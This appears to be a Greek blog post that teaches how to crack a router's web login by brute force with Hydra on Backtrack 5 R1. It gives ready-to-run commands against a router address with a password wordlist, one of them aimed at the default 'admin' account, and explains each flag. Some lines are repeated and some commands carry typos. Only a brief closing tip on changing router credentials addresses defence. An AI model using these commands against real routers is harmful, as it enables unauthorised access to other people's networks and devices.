Με αυτο τον οδηγο θα μπορειτε να σπασετε τον ονομα χρηστη και κωδικο συνδεσης στο router
οποτε πχ αν εγω κανω login στο ρουτερ μου με ονομα χρηστη NicktheSail0r και αγνωστο κωδικο η εντολη θα ειναι hydra -l Nickthesail0r -P /root/lexika/router.lst -t 1 -f -s -vV 192.168.1.254 http-get/192.168.1.254
Τι θα χρειαστεις;
1.Backtrack 5 R1
2.Λιστα κωδικων download - ανοιγουμε ενα τερματικο και γραφουμε την εντολη hydra -L /root/lexika/router.lst -P /root/lexika/router.lst -e ns -t 1 -f -s -vV 192.168.1.254 http-get /192.168.1.254 *πρεπει να εχετε βαλει στον φακελο root/lexika/router.lst
- και τελος τωρα μπορειτε να κανετε login
-L=username (looks for a wordlist)
-l = username
-P = password (Looks for a wordlist)
-e ns = checks for 'null' password
-t xx= How many tasks to run at once
-f = exit once it finds the first user/password
-s = connect via SSL
-vV = verbose mode (shows more info)
192.168.1.254 = IP address of router
http-get = what to crack/method etc
/ = Page to crack - root
-e ns = checks for 'null' password
-t xx= How many tasks to run at once
-f = exit once it finds the first user/password
-s = connect via SSL
-vV = verbose mode (shows more info)
192.168.1.254 = IP address of router
http-get = what to crack/method etc
/ = Page to crack - root
οποτε πχ αν εγω κανω login στο ρουτερ μου με ονομα χρηστη NicktheSail0r και αγνωστο κωδικο η εντολη θα ειναι hydra -l Nickthesail0r -P /root/lexika/router.lst -t 1 -f -s -vV 192.168.1.254 http-get/192.168.1.254
* δλδ το βαζω να ψαξει με το ονομα χρηστη Nickthesail0r και με την εντολη -P στην λιστα κωδικων μου για τον κωδικο
*Συνηθως ελαχιστοι χρηστες αλλαζουνε το login του ρουτερ τους οποτε δωστε αυτη την εντολη hydra -l admin -p /root/lexika/router.lst -e ns -t 1 -f -s vV 192.168.1.254 http-get /192.168.1.254
Εδω μπορειτε να δειτε απο ολα τα ρουτερ τους εργοστασιακους κωδικους για login Routers
Πως θα προστατευτεις;
1.μπες στο ρουτερ σου πατα εδω για login η εδω login και αλλαξε το ονομα χρηστη και κωδικο
Πως θα προστατευτεις;
1.μπες στο ρουτερ σου πατα εδω για login η εδω login και αλλαξε το ονομα χρηστη και κωδικο
Δεν υπάρχουν σχόλια:
Δημοσίευση σχολίου